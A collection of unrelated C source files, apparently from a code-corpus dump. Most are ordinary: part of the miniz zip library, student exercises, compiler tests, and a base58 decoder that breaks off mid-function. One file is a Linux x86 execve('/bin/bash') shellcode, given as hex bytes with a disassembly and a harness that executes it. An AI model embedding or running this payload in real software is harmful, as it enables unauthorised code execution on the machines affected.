& (pZip->m_file_offset_alignment - 1)) == 0); } if (pZip->m_pWrite(pZip->m_pIO_opaque, cur_dst_file_ofs, pLocal_header, MZ_ZIP_LOCAL_DIR_HEADER_SIZE) != MZ_ZIP_LOCAL_DIR_HEADER_SIZE) return MZ_FALSE; cur_dst_file_ofs += MZ_ZIP_LOCAL_DIR_HEADER_SIZE; n = MZ_READ_LE16(pLocal_header + MZ_ZIP_LDH_FILENAME_LEN_OFS) + MZ_READ_LE16(pLocal_header + MZ_ZIP_LDH_EXTRA_LEN_OFS); comp_bytes_remaining = n + MZ_READ_LE32(pSrc_central_header + MZ_ZIP_CDH_COMPRESSED_SIZE_OFS); if (NULL == (pBuf = pZip->m_pAlloc(pZip->m_pAlloc_opaque, 1, (size_t)MZ_MAX(sizeof(mz_uint32) * 4, MZ_MIN(MZ_ZIP_MAX_IO_BUF_SIZE, comp_bytes_remaining))))) return MZ_FALSE; while (comp_bytes_remaining) { n = (mz_uint)MZ_MIN(MZ_ZIP_MAX_IO_BUF_SIZE, comp_bytes_remaining); if (pSource_zip->m_pRead(pSource_zip->m_pIO_opaque, cur_src_file_ofs, pBuf, n) != n) { pZip->m_pFree(pZip->m_pAlloc_opaque, pBuf); return MZ_FALSE; } cur_src_file_ofs += n; if (pZip->m_pWrite(pZip->m_pIO_opaque, cur_dst_file_ofs, pBuf, n) != n) { pZip->m_pFree(pZip->m_pAlloc_opaque, pBuf); return MZ_FALSE; } cur_dst_file_ofs += n; comp_bytes_remaining -= n; } bit_flags = MZ_READ_LE16(pLocal_header + MZ_ZIP_LDH_BIT_FLAG_OFS); if (bit_flags & 8) { // Copy data descriptor if (pSource_zip->m_pRead(pSource_zip->m_pIO_opaque, cur_src_file_ofs, pBuf, sizeof(mz_uint32) * 4) != sizeof(mz_uint32) * 4) { pZip->m_pFree(pZip->m_pAlloc_opaque, pBuf); return MZ_FALSE; } n = sizeof(mz_uint32) * ((MZ_READ_LE32(pBuf) == 0x08074b50) ? 4 : 3); if (pZip->m_pWrite(pZip->m_pIO_opaque, cur_dst_file_ofs, pBuf, n) != n) { pZip->m_pFree(pZip->m_pAlloc_opaque, pBuf); return MZ_FALSE; } cur_src_file_ofs += n; cur_dst_file_ofs += n; } pZip->m_pFree(pZip->m_pAlloc_opaque, pBuf); // no zip64 support yet if (cur_dst_file_ofs > 0xFFFFFFFF) return MZ_FALSE; orig_central_dir_size = pState->m_central_dir.m_size; memcpy(central_header, pSrc_central_header, MZ_ZIP_CENTRAL_DIR_HEADER_SIZE); MZ_WRITE_LE32(central_header + MZ_ZIP_CDH_LOCAL_HEADER_OFS, local_dir_header_ofs); if (!mz_zip_array_push_back(pZip, &pState->m_central_dir, central_header, MZ_ZIP_CENTRAL_DIR_HEADER_SIZE)) return MZ_FALSE; n = MZ_READ_LE16(pSrc_central_header + MZ_ZIP_CDH_FILENAME_LEN_OFS) + MZ_READ_LE16(pSrc_central_header + MZ_ZIP_CDH_EXTRA_LEN_OFS) + MZ_READ_LE16(pSrc_central_header + MZ_ZIP_CDH_COMMENT_LEN_OFS); if (!mz_zip_array_push_back(pZip, &pState->m_central_dir, pSrc_central_header + MZ_ZIP_CENTRAL_DIR_HEADER_SIZE, n)) { mz_zip_array_resize(pZip, &pState->m_central_dir, orig_central_dir_size, MZ_FALSE); return MZ_FALSE; } if (pState->m_central_dir.m_size > 0xFFFFFFFF) return MZ_FALSE; n = (mz_uint32)orig_central_dir_size; if (!mz_zip_array_push_back(pZip, &pState->m_central_dir_offsets, &n, 1)) { mz_zip_array_resize(pZip, &pState->m_central_dir, orig_central_dir_size, MZ_FALSE); return MZ_FALSE; } pZip->m_total_files++; pZip->m_archive_size = cur_dst_file_ofs; return MZ_TRUE; } mz_bool mz_zip_writer_finalize_archive(mz_zip_archive *pZip) { mz_zip_internal_state *pState; mz_uint64 central_dir_ofs, central_dir_size; mz_uint8 hdr[MZ_ZIP_END_OF_CENTRAL_DIR_HEADER_SIZE]; if ((!pZip) || (!pZip->m_pState) || (pZip->m_zip_mode != MZ_ZIP_MODE_WRITING)) return MZ_FALSE; pState = pZip->m_pState; // no zip64 support yet if ((pZip->m_total_files > 0xFFFF) || ((pZip->m_archive_size + pState->m_central_dir.m_size + MZ_ZIP_END_OF_CENTRAL_DIR_HEADER_SIZE) > 0xFFFFFFFF)) return MZ_FALSE; central_dir_ofs = 0; central_dir_size = 0; if (pZip->m_total_files) { // Write central directory central_dir_ofs = pZip->m_archive_size; central_dir_size = pState->m_central_dir.m_size; pZip->m_central_directory_file_ofs = central_dir_ofs; if (pZip->m_pWrite(pZip->m_pIO_opaque, central_dir_ofs, pState->m_central_dir.m_p, (size_t)central_dir_size) != central_dir_size) return MZ_FALSE; pZip->m_archive_size += central_dir_size; } // Write end of central directory record MZ_CLEAR_OBJ(hdr); MZ_WRITE_LE32(hdr + MZ_ZIP_ECDH_SIG_OFS, MZ_ZIP_END_OF_CENTRAL_DIR_HEADER_SIG); MZ_WRITE_LE16(hdr + MZ_ZIP_ECDH_CDIR_NUM_ENTRIES_ON_DISK_OFS, pZip->m_total_files); MZ_WRITE_LE16(hdr + MZ_ZIP_ECDH_CDIR_TOTAL_ENTRIES_OFS, pZip->m_total_files); MZ_WRITE_LE32(hdr + MZ_ZIP_ECDH_CDIR_SIZE_OFS, central_dir_size); MZ_WRITE_LE32(hdr + MZ_ZIP_ECDH_CDIR_OFS_OFS, central_dir_ofs); if (pZip->m_pWrite(pZip->m_pIO_opaque, pZip->m_archive_size, hdr, sizeof(hdr)) != sizeof(hdr)) return MZ_FALSE; #ifndef MINIZ_NO_STDIO if ((pState->m_pFile) && (MZ_FFLUSH(pState->m_pFile) == EOF)) return MZ_FALSE; #endif // #ifndef MINIZ_NO_STDIO pZip->m_archive_size += sizeof(hdr); pZip->m_zip_mode = MZ_ZIP_MODE_WRITING_HAS_BEEN_FINALIZED; return MZ_TRUE; } mz_bool mz_zip_writer_finalize_heap_archive(mz_zip_archive *pZip, void **pBuf, size_t *pSize) { if ((!pZip) || (!pZip->m_pState) || (!pBuf) || (!pSize)) return MZ_FALSE; if (pZip->m_pWrite != mz_zip_heap_write_func) return MZ_FALSE; if (!mz_zip_writer_finalize_archive(pZip)) return MZ_FALSE; *pBuf = pZip->m_pState->m_pMem; *pSize = pZip->m_pState->m_mem_size; pZip->m_pState->m_pMem = NULL; pZip->m_pState->m_mem_size = pZip->m_pState->m_mem_capacity = 0; return MZ_TRUE; } mz_bool mz_zip_writer_end(mz_zip_archive *pZip) { mz_zip_internal_state *pState; mz_bool status = MZ_TRUE; if ((!pZip) || (!pZip->m_pState) || (!pZip->m_pAlloc) || (!pZip->m_pFree) || ((pZip->m_zip_mode != MZ_ZIP_MODE_WRITING) && (pZip->m_zip_mode != MZ_ZIP_MODE_WRITING_HAS_BEEN_FINALIZED))) return MZ_FALSE; pState = pZip->m_pState; pZip->m_pState = NULL; mz_zip_array_clear(pZip, &pState->m_central_dir); mz_zip_array_clear(pZip, &pState->m_central_dir_offsets); mz_zip_array_clear(pZip, &pState->m_sorted_central_dir_offsets); #ifndef MINIZ_NO_STDIO if (pState->m_pFile) { MZ_FCLOSE(pState->m_pFile); pState->m_pFile = NULL; } #endif // #ifndef MINIZ_NO_STDIO if ((pZip->m_pWrite == mz_zip_heap_write_func) && (pState->m_pMem)) { pZip->m_pFree(pZip->m_pAlloc_opaque, pState->m_pMem); pState->m_pMem = NULL; } pZip->m_pFree(pZip->m_pAlloc_opaque, pState); pZip->m_zip_mode = MZ_ZIP_MODE_INVALID; return status; } #ifndef MINIZ_NO_STDIO mz_bool mz_zip_add_mem_to_archive_file_in_place(const char *pZip_filename, const char *pArchive_name, const void *pBuf, size_t buf_size, const void *pComment, mz_uint16 comment_size, mz_uint level_and_flags) { mz_bool status, created_new_archive = MZ_FALSE; mz_zip_archive zip_archive; struct MZ_FILE_STAT_STRUCT file_stat; MZ_CLEAR_OBJ(zip_archive); if ((int)level_and_flags < 0) level_and_flags = MZ_DEFAULT_LEVEL; if ((!pZip_filename) || (!pArchive_name) || ((buf_size) && (!pBuf)) || ((comment_size) && (!pComment)) || ((level_and_flags & 0xF) > MZ_UBER_COMPRESSION)) return MZ_FALSE; if (!mz_zip_writer_validate_archive_name(pArchive_name)) return MZ_FALSE; if (MZ_FILE_STAT(pZip_filename, &file_stat) != 0) { // Create a new archive. if (!mz_zip_writer_init_file(&zip_archive, pZip_filename, 0)) return MZ_FALSE; created_new_archive = MZ_TRUE; } else { // Append to an existing archive. if (!mz_zip_reader_init_file(&zip_archive, pZip_filename, level_and_flags | MZ_ZIP_FLAG_DO_NOT_SORT_CENTRAL_DIRECTORY)) return MZ_FALSE; if (!mz_zip_writer_init_from_reader(&zip_archive, pZip_filename)) { mz_zip_reader_end(&zip_archive); return MZ_FALSE; } } status = mz_zip_writer_add_mem_ex(&zip_archive, pArchive_name, pBuf, buf_size, pComment, comment_size, level_and_flags, 0, 0); // Always finalize, even if adding failed for some reason, so we have a valid central directory. (This may not always succeed, but we can try.) if (!mz_zip_writer_finalize_archive(&zip_archive)) status = MZ_FALSE; if (!mz_zip_writer_end(&zip_archive)) status = MZ_FALSE; if ((!status) && (created_new_archive)) { // It's a new archive and something went wrong, so just delete it. int ignoredStatus = MZ_DELETE_FILE(pZip_filename); (void)ignoredStatus; } return status; } void *mz_zip_extract_archive_file_to_heap(const char *pZip_filename, const char *pArchive_name, size_t *pSize, mz_uint flags) { int file_index; mz_zip_archive zip_archive; void *p = NULL; if (pSize) *pSize = 0; if ((!pZip_filename) || (!pArchive_name)) return NULL; MZ_CLEAR_OBJ(zip_archive); if (!mz_zip_reader_init_file(&zip_archive, pZip_filename, flags | MZ_ZIP_FLAG_DO_NOT_SORT_CENTRAL_DIRECTORY)) return NULL; if ((file_index = mz_zip_reader_locate_file(&zip_archive, pArchive_name, NULL, flags)) >= 0) p = mz_zip_reader_extract_to_heap(&zip_archive, file_index, pSize, flags); mz_zip_reader_end(&zip_archive); return p; } #endif // #ifndef MINIZ_NO_STDIO #endif // #ifndef MINIZ_NO_ARCHIVE_WRITING_APIS #endif // #ifndef MINIZ_NO_ARCHIVE_APIS #ifdef __cplusplus } #endif #endif // MINIZ_HEADER_FILE_ONLY /* This is free and unencumbered software released into the public domain. Anyone is free to copy, modify, publish, use, compile, sell, or distribute this software, either in source code form or as a compiled binary, for any purpose, commercial or non-commercial, and by any means. In jurisdictions that recognize copyright laws, the author or authors of this software dedicate any and all copyright interest in the software to the public domain. We make this dedication for the benefit of the public at large and to the detriment of our heirs and successors. We intend this dedication to be an overt act of relinquishment in perpetuity of all present and future rights to this software under copyright law. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. For more information, please refer to <http://unlicense.org/> */
the_stack_data/92172.c
#include <stdlib.h> #include <string.h> char* angryProfessor(int k, int a_count, int* a) { int count = 0; char *res = (char*)calloc(4, sizeof(char)); for (int i = 0; i < a_count; ++i) { if(a[i] <= 0) ++count; } if(count >= k) strcpy(res, "NO"); else strcpy(res, "YES"); return res; }
the_stack_data/12637442.c
#include<stdio.h> main() { int i=0,m,n,j,a[20]; scanf("%d",&n); m=n; while(m!=0) { a[i]=m%16; i++; m=m/16; } i--; for(j=i;j>=0;j--) { if(a[j]>9) printf("%c ",a[j]+55); else printf("%d ",a[j]); } }
the_stack_data/352995.c
extern const unsigned char FirebaseAuthVersionString[]; extern const double FirebaseAuthVersionNumber; const unsigned char FirebaseAuthVersionString[] __attribute__ ((used)) = "@(#)PROGRAM:FirebaseAuth PROJECT:Pods-1" "\n"; const double FirebaseAuthVersionNumber __attribute__ ((used)) = (double)1.;
the_stack_data/11075033.c
#include <stdio.h> #include <stdlib.h> int main(int argc, char *argv[]) { FILE *source_fp, *dest_fp; int ch; if(argc != 3){ fprintf(stderr, "usage: fcopy source dest\n"); exit(EXIT_FAILURE); } if((source_fp = fopen(argv[1], "rb")) == NULL){ fprintf(stderr, "Can't open %s\n", argv[1]); exit(EXIT_FAILURE); } if((dest_fp = fopen(argv[2], "wb")) == NULL){ fprintf(stderr, "Can't open %s\n", argv[2]); fclose(source_fp); exit(EXIT_FAILURE); } while((ch = getc(source_fp)) != EOF){ putc(ch, dest_fp); } fclose(source_fp); fclose(dest_fp); return 0; }
the_stack_data/225142331.c
#include <stdio.h> #include <stdlib.h> extern void srand1(unsigned int x); extern int rand1(void); int main(void) { int count; unsigned seed; printf("Please enter your choice for seed.\n"); while (scanf("%u", &seed) == 1) { srand1(seed); for (count = 0; count < 5; count++) { printf("%d\n", rand1()); } printf("Please enter next seed (q to quit): \n"); } printf("Done\n"); return 0; }
the_stack_data/143407.c
// Priority Queue implementation in C #include <stdio.h> int size = 0; void swap(int *a, int *b) { int temp = *b; *b = *a; *a = temp; } // Function to heapify the tree void heapify(int array[], int size, int i) { if (size == 1) { printf("Single element in the heap"); } else { // Find the largest among root, left child and right child int largest = i; int l = 2 * i + 1; int r = 2 * i + 2; if (l < size && array[l] > array[largest]) largest = l; if (r < size && array[r] > array[largest]) largest = r; // Swap and continue heapifying if root is not largest if (largest != i) { swap(&array[i], &array[largest]); heapify(array, size, largest); } } } // Function to insert an element into the tree void insert(int array[], int newNum) { if (size == 0) { array[0] = newNum; size += 1; } else { array[size] = newNum; size += 1; for (int i = size / 2 - 1; i >= 0; i--) { heapify(array, size, i); } } } // Function to delete an element from the tree void deleteRoot(int array[], int num) { int i; for (i = 0; i < size; i++) { if (num == array[i]) break; } swap(&array[i], &array[size - 1]); size -= 1; for (int i = size / 2 - 1; i >= 0; i--) { heapify(array, size, i); } } // Print the array void printArray(int array[], int size) { for (int i = 0; i < size; ++i) printf("%d ", array[i]); printf("\n"); } // Driver code int main() { int array[10]; insert(array, 3); insert(array, 4); insert(array, 9); insert(array, 5); insert(array, 2); printf("Max-Heap array: "); printArray(array, size); deleteRoot(array, 4); printf("After deleting an element: "); printArray(array, size); }
the_stack_data/129316.c
// Copyright (c) 2015 Nuxi, https://nuxi.nl/ // // SPDX-License-Identifier: BSD-2-Clause #include <locale.h> #include <regex.h> #include <string.h> int regexec_l(const regex_t *restrict preg, const char *restrict string, size_t nmatch, regmatch_t *restrict pmatch, int eflags, locale_t locale) { return regnexec_l(preg, string, strlen(string), nmatch, pmatch, eflags, locale); }
the_stack_data/151705568.c
#include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <sys/types.h> #include <sys/wait.h> int main(int argc, char *argv[]) { pid_t pid; if ((pid = fork()) == 0) { printf("Child process successfully created."); execv("./subprogram", argv); exit(0); } else if (pid < 0) fprintf(stderr, "\nThe child process wasn't successfully created.\n"); else pid = wait(NULL); return 0; }
the_stack_data/93888823.c
/* ================================= */ /* ===== Main string functions ===== */ /* ================================= */ #include<stdio.h> #include<string.h> int main() { int n; char name[20]; printf("Enter your name: "); scanf("%s",name); /* ===== 1. Strlen ===== */ printf("Your name is: %s",name); n=strlen(name); printf("\nString length: %d",n); /* ===== 2. Strrev ===== */ // strrev(name); // printf("\nReversed name: %s",name); /* ===== 3. Strcpy: **initial values of a are overwritten ===== */ char a[20] = { 'a','b','c','\0'}; strcpy(a,name); printf("\nString a: %s",a); /* ===== 4. Strcat ===== */ char b[20]; printf("\nEnter the second string: "); scanf("%s",b); strcat(a,b); printf("Complete Concatenated string is: %s",a); strncat(a,b,1); printf("\nPartial concatenated string is: %s", a); /* ===== 5. Strncmp: **returns ascii difference between two strings ===== */ /* ===== Stricmp: case insensitive comparison ===== */ n=strncmp(a,b,2); if(n==0) printf("\nBoth a and b are equal"); else printf("\nBoth a and b are not equal"); }
the_stack_data/141954.c
#include <stdio.h> int main(void) { int A[5],B[5],C[10]; A[0]=1,A[1]=3,A[2]=4,A[3]=5,A[4]=7; B[0]=0,B[1]=1,B[2]=4,B[3]=5,B[4]=9; int i=0; while(i<5){ C[i] = A[i]; C[i+1] = B[i]; printf("%d %d ",C[i],C[i+1]); i++; } return 0; }
the_stack_data/913771.c
#include <stdio.h> #include <ctype.h> #define MAX 5 int comparacao(char s1[], char s2[], int n) { int i = 0; for (; i < n && tolower(s1[i]) == tolower(s2[i]); i++); return i == n; } int main() { char s1_m[MAX] = {'a', 'b', 'c', 'd', 'e'}, s2_m[MAX] = {'a', 'b', 'c', 'D', 'E'}; int n_m; printf("quantos caracteres serao verificados(max 5)\n> "); scanf("%d", &n_m); printf("os %d primeiros caracteres dos dois vetores %ssao iguais", n_m, comparacao(s1_m, s2_m, n_m) ? "" : "nao "); } //https://pt.stackoverflow.com/q/139712/101
the_stack_data/280477.c
/* Check calling convention in the vector ABI for single element vectors. */ /* { dg-do compile { target { s390*-*-* } } } */ /* { dg-options "-O3 -mzarch -march=z13" } */ /* { dg-final { scan-assembler-times "vlr\t%v24,%v26" 7 } } */ typedef int __attribute__((vector_size(16))) v4si; typedef char __attribute__((vector_size(1))) v1qi; typedef short int __attribute__((vector_size(2))) v1hi; typedef int __attribute__((vector_size(4))) v1si; typedef long long __attribute__((vector_size(8))) v1di; typedef float __attribute__((vector_size(4))) v1sf; typedef double __attribute__((vector_size(8))) v1df; typedef long double __attribute__((vector_size(16))) v1tf; v1qi foo1 (v4si a, v1qi b) { return b; } v1hi foo2 (v4si a, v1hi b) { return b; } v1si foo3 (v4si a, v1si b) { return b; } v1di foo4 (v4si a, v1di b) { return b; } v1sf foo5 (v4si a, v1sf b) { return b; } v1df foo6 (v4si a, v1df b) { return b; } v1tf foo7 (v4si a, v1tf b) { return b; }
the_stack_data/234518349.c
#include <stdio.h> int main(){ double x, a, p=0; scanf("%lf", &x); if (x > 0 && x <= 400.00){ a = x*15/100; x = a+x; p=15; } else if (x>400.00 && x <= 800.00){ a = x*12/100; x = a+x; p=12; } else if(x>800.00 && x <= 1200.00){ a = x*10/100; x = a+x; p=10; } else if(x>1200.00 && x <= 2000.00){ a = x*7/100; x = a+x; p=7; } else{ a = x*4/100; x = a+x; p=4; } printf("Novo salario: %.2lf\n", x); printf("Reajuste ganho: %.2lf\n", a); printf("Em percentual: %.0lf %%\n", p); return 0; }
the_stack_data/811.c
/* Title: Linux x86 execve("/bin/bash") - 49 bytes Author: Amine Kanane <[email protected]> Desc: Pop a /bin/bash Using JMP - CALL - POP Trick Disassembly of section .text: 08048060 <_start>: 8048060: eb 18 jmp 804807a <call_shellcode> 08048062 <shellcode>: 8048062: 5e pop esi 8048063: 31 c0 xor eax,eax 8048065: 88 46 09 mov BYTE PTR [esi+0x9],al 8048068: 89 76 0a mov DWORD PTR [esi+0xa],esi 804806b: 89 46 0e mov DWORD PTR [esi+0xe],eax 804806e: 8d 1e lea ebx,[esi] 8048070: 8d 4e 0a lea ecx,[esi+0xa] 8048073: 8d 56 0e lea edx,[esi+0xe] 8048076: b0 0b mov al,0xb 8048078: cd 80 int 0x80 0804807a <call_shellcode>: 804807a: e8 e3 ff ff ff call 8048062 <shellcode> 0804807f <message>: 804807f: 2f das 8048080: 62 69 6e bound ebp,QWORD PTR [ecx+0x6e] 8048083: 2f das 8048084: 62 61 73 bound esp,QWORD PTR [ecx+0x73] 8048087: 68 2f 44 49 4e push 0x4e49442f 804808c: 41 inc ecx 804808d: 4d dec ebp 804808e: 49 dec ecx 804808f: 4e dec esi 8048090: 45 inc ebp */ #include<stdio.h> #include<string.h> unsigned char code[] = "\xeb\x18\x5e\x31\xc0\x88\x46" "\x09\x89\x76\x0a\x89\x46\x0e" "\x8d\x1e\x8d\x4e\x0a\x8d\x56" "\x0e\xb0\x0b\xcd\x80\xe8\xe3" "\xff\xff\xff\x2f\x62\x69\x6e" "\x2f\x62\x61\x73\x68\x2f\x44" "\x49\x4e\x41\x4d\x49\x4e\x45"; main() { printf("Shellcode Length: %d\n", strlen(code)); int (*ret)() = (int(*)())code; ret(); }
the_stack_data/70967.c
#include <stdio.h> void foo(void); int main() { void (*F)(void); F = &foo; F(); printf("OK\n"); }
the_stack_data/103265578.c
/* * Australian Public Licence B (OZPLB) * * Version 1-0 * * Copyright (c) 2004 National ICT Australia * * All rights reserved. * * Developed by: Embedded, Real-time and Operating Systems Program (ERTOS) * National ICT Australia * http://www.ertos.nicta.com.au * * Permission is granted by National ICT Australia, free of charge, to * any person obtaining a copy of this software and any associated * documentation files (the "Software") to deal with the Software without * restriction, including (without limitation) the rights to use, copy, * modify, adapt, merge, publish, distribute, communicate to the public, * sublicense, and/or sell, lend or rent out copies of the Software, and * to permit persons to whom the Software is furnished to do so, subject * to the following conditions: * * * Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimers. * * * Redistributions in binary form must reproduce the above * copyright notice, this list of conditions and the following * disclaimers in the documentation and/or other materials provided * with the distribution. * * * Neither the name of National ICT Australia, nor the names of its * contributors, may be used to endorse or promote products derived * from this Software without specific prior written permission. * * EXCEPT AS EXPRESSLY STATED IN THIS LICENCE AND TO THE FULL EXTENT * PERMITTED BY APPLICABLE LAW, THE SOFTWARE IS PROVIDED "AS-IS", AND * NATIONAL ICT AUSTRALIA AND ITS CONTRIBUTORS MAKE NO REPRESENTATIONS, * WARRANTIES OR CONDITIONS OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING * BUT NOT LIMITED TO ANY REPRESENTATIONS, WARRANTIES OR CONDITIONS * REGARDING THE CONTENTS OR ACCURACY OF THE SOFTWARE, OR OF TITLE, * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE, NONINFRINGEMENT, * THE ABSENCE OF LATENT OR OTHER DEFECTS, OR THE PRESENCE OR ABSENCE OF * ERRORS, WHETHER OR NOT DISCOVERABLE. * * TO THE FULL EXTENT PERMITTED BY APPLICABLE LAW, IN NO EVENT SHALL * NATIONAL ICT AUSTRALIA OR ITS CONTRIBUTORS BE LIABLE ON ANY LEGAL * THEORY (INCLUDING, WITHOUT LIMITATION, IN AN ACTION OF CONTRACT, * NEGLIGENCE OR OTHERWISE) FOR ANY CLAIM, LOSS, DAMAGES OR OTHER * LIABILITY, INCLUDING (WITHOUT LIMITATION) LOSS OF PRODUCTION OR * OPERATION TIME, LOSS, DAMAGE OR CORRUPTION OF DATA OR RECORDS; OR LOSS * OF ANTICIPATED SAVINGS, OPPORTUNITY, REVENUE, PROFIT OR GOODWILL, OR * OTHER ECONOMIC LOSS; OR ANY SPECIAL, INCIDENTAL, INDIRECT, * CONSEQUENTIAL, PUNITIVE OR EXEMPLARY DAMAGES, ARISING OUT OF OR IN * CONNECTION WITH THIS LICENCE, THE SOFTWARE OR THE USE OF OR OTHER * DEALINGS WITH THE SOFTWARE, EVEN IF NATIONAL ICT AUSTRALIA OR ITS * CONTRIBUTORS HAVE BEEN ADVISED OF THE POSSIBILITY OF SUCH CLAIM, LOSS, * DAMAGES OR OTHER LIABILITY. * * If applicable legislation implies representations, warranties, or * conditions, or imposes obligations or liability on National ICT * Australia or one of its contributors in respect of the Software that * cannot be wholly or partly excluded, restricted or modified, the * liability of National ICT Australia or the contributor is limited, to * the full extent permitted by the applicable legislation, at its * option, to: * a. in the case of goods, any one or more of the following: * i. the replacement of the goods or the supply of equivalent goods; * ii. the repair of the goods; * iii. the payment of the cost of replacing the goods or of acquiring * equivalent goods; * iv. the payment of the cost of having the goods repaired; or * b. in the case of services: * i. the supplying of the services again; or * ii. the payment of the cost of having the services supplied again. * * The construction, validity and performance of this licence is governed * by the laws in force in New South Wales, Australia. */ /* Authors: Carl van Schaik, National ICT Australia */ #include <string.h> /* * search for last occurrence of c in s */ char * strrchr(const char *s, int c) { char *r = NULL; if( c != '\0') { while (*s != '\0') { if (*s++ == c) r = (char *)s - 1; } } else { r = (char *)s + strlen(s); } return r; }
the_stack_data/570776.c
#include <stdio.h> void scilab_rt_plot3d_i2d2d2d0i0s0i2d2_(int in00, int in01, int matrixin0[in00][in01], int in10, int in11, double matrixin1[in10][in11], int in20, int in21, double matrixin2[in20][in21], double scalarin0, int scalarin1, char* scalarin2, int in30, int in31, int matrixin3[in30][in31], int in40, int in41, double matrixin4[in40][in41]) { int i; int j; int val0 = 0; double val1 = 0; double val2 = 0; int val3 = 0; double val4 = 0; for (i = 0; i < in00; ++i) { for (j = 0; j < in01; ++j) { val0 += matrixin0[i][j]; } } printf("%d", val0); for (i = 0; i < in10; ++i) { for (j = 0; j < in11; ++j) { val1 += matrixin1[i][j]; } } printf("%f", val1); for (i = 0; i < in20; ++i) { for (j = 0; j < in21; ++j) { val2 += matrixin2[i][j]; } } printf("%f", val2); printf("%f", scalarin0); printf("%d", scalarin1); printf("%s", scalarin2); for (i = 0; i < in30; ++i) { for (j = 0; j < in31; ++j) { val3 += matrixin3[i][j]; } } printf("%d", val3); for (i = 0; i < in40; ++i) { for (j = 0; j < in41; ++j) { val4 += matrixin4[i][j]; } } printf("%f", val4); }
the_stack_data/150144149.c
/* ** my_putstr.c for my_putstr in /home/cubi_c/rendu/Piscine_C_colles-Semaine_02 ** ** Made by cedric cubizolle ** Login <[email protected]> ** ** Started on Sat Oct 11 22:07:12 2014 cedric cubizolle ** Last update Sat Oct 11 22:07:20 2014 cedric cubizolle */ int my_putstr(char *str) { int i; i = 0; while (str[i] != '\0') { my_putchar(str[i]); i = i + 1; } }
the_stack_data/28262417.c
/* { dg-options { -nostartfiles below100.o -Tbelow100.ld -O2 } } */ /* { dg-final { scan-assembler "set1 B100\\+1,#0" } } */ char acDummy[0xf0] __attribute__ ((__BELOW100__)); unsigned short B100 __attribute__ ((__BELOW100__)); unsigned short *p = &B100; void Do (void) { B100 |= 0x0100; } int main (void) { *p = 0x1234; Do (); return (*p == 0x1334) ? 0 : 1; }
the_stack_data/98574420.c
#include <stdio.h> int main() { int X,Y; while(1){ scanf("%d%d",&X,&Y); if(X==Y){ break; }else{ if(X>Y){ printf("Decrescente\n"); }else{ printf("Crescente\n"); } } } return 0; }
the_stack_data/36075257.c
/* ** EPITECH PROJECT, 2019 ** my_isneg ** File description: ** display either N or P for negative or positive */ void my_putchar(char c); int my_isneg(int n) { if (n >= 0) { my_putchar('P'); } else { my_putchar('N'); } }
the_stack_data/110694.c
#include <sys/types.h> #include <sys/stat.h> #include <fcntl.h> #include <unistd.h> /* it's really stupid that there isn't a syscall for this */ static int fd = -1; void randombytes(unsigned char *x,unsigned long long xlen) { int i; if (fd == -1) { for (;;) { fd = open("/dev/urandom",O_RDONLY); if (fd != -1) break; sleep(1); } } while (xlen > 0) { if (xlen < 1048576) i = xlen; else i = 1048576; i = read(fd,x,i); if (i < 1) { sleep(1); continue; } x += i; xlen -= i; } }
the_stack_data/198990.c
/* * Copyright 2012-2014 Luke Dashjr * * This program is free software; you can redistribute it and/or modify it * under the terms of the standard MIT license. See COPYING for more details. */ #include <string.h> #include <math.h> #include <stdint.h> #include <sys/types.h> static const char b58digits_ordered[] = "123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz"; static const int8_t b58digits_map[] = { -1,-1,-1,-1,-1,-1,-1,-1, -1,-1,-1,-1,-1,-1,-1,-1, -1,-1,-1,-1,-1,-1,-1,-1, -1,-1,-1,-1,-1,-1,-1,-1, -1,-1,-1,-1,-1,-1,-1,-1, -1,-1,-1,-1,-1,-1,-1,-1, -1, 0, 1, 2, 3, 4, 5, 6, 7, 8,-1,-1,-1,-1,-1,-1, -1, 9,10,11,12,13,14,15, 16,-1,17,18,19,20,21,-1, 22,23,24,25,26,27,28,29, 30,31,32,-1,-1,-1,-1,-1, -1,33,34,35,36,37,38,39, 40,41,42,43,-1,44,45,46, 47,48,49,50,51,52,53,54, 55,56,57,-1,-1,-1,-1,-1, }; /** * convert a base58 encoded string into a binary array * @param b58 the base58 encoded string * @param base58_size the size of the encoded string * @param bin the results buffer (Q: Why ptr to ptr when nothing allocated?) * @param binszp the size of the results buffer * @returns true(1) on success */ int libp2p_crypto_encoding_base58_decode(const char* b58, size_t base58_size, unsigned char** bin, size_t* binszp) { size_t binsz = *binszp; const unsigned char* b58u = (const void*)b58; unsigned char* binu = *bin; size_t outisz = (binsz + 3) / 4; uint32_t outi[outisz]; uint64_t t; uint32_t c; size_t i, j; uint8_t bytesleft = binsz % 4; uint32_t zeromask = bytesleft ? (0xffffffff << (bytesleft * 8)) : 0; unsigned zerocount = 0; size_t b58sz; b58sz = strlen(b58); memset(outi, 0, outisz * sizeof(*outi)); // Leading zeros, just count for (i = 0; i < b58sz && !b58digits_map[b58u[i]]; ++i) { ++zerocount; } for (; i < b58sz; ++i) { if (b58u[i] & 0x80) { // High-bit set on invalid digit return 0; } if (b58digits_map[b58u[i]] == -1) { // Invalid base58 digit return 0; } c = (unsigned)b58digits_map[b58u[i]]; for (j = outisz; j--;) { t = ((uint64_t)outi[j]) * 58 + c; c = (t & 0x3f00000000) >> 32; outi[j] = t & 0xffffffff; } if (c) { // Output number too big (carry to the next int32) memset(outi, 0, outisz * sizeof(*outi)); return 0; } if (outi[0] & zeromask) { // Output number too big (last int32 filled too far) memset(outi, 0, outisz * sizeof(*outi)); return 0; } } j = 0; switch (bytesleft) { case 3: *(binu++) = (outi[0] & 0xff0000) >> 16; case 2: *(binu++) = (outi[0] & 0xff00) >> 8; case 1: *(binu++) = (outi[0] & 0xff); ++j; default: break; } for (; j < outisz; ++j) { *(binu++) = (outi[j] >> 0x18) & 0xff; *(binu++) = (outi[j] >> 0x10) & 0xff; 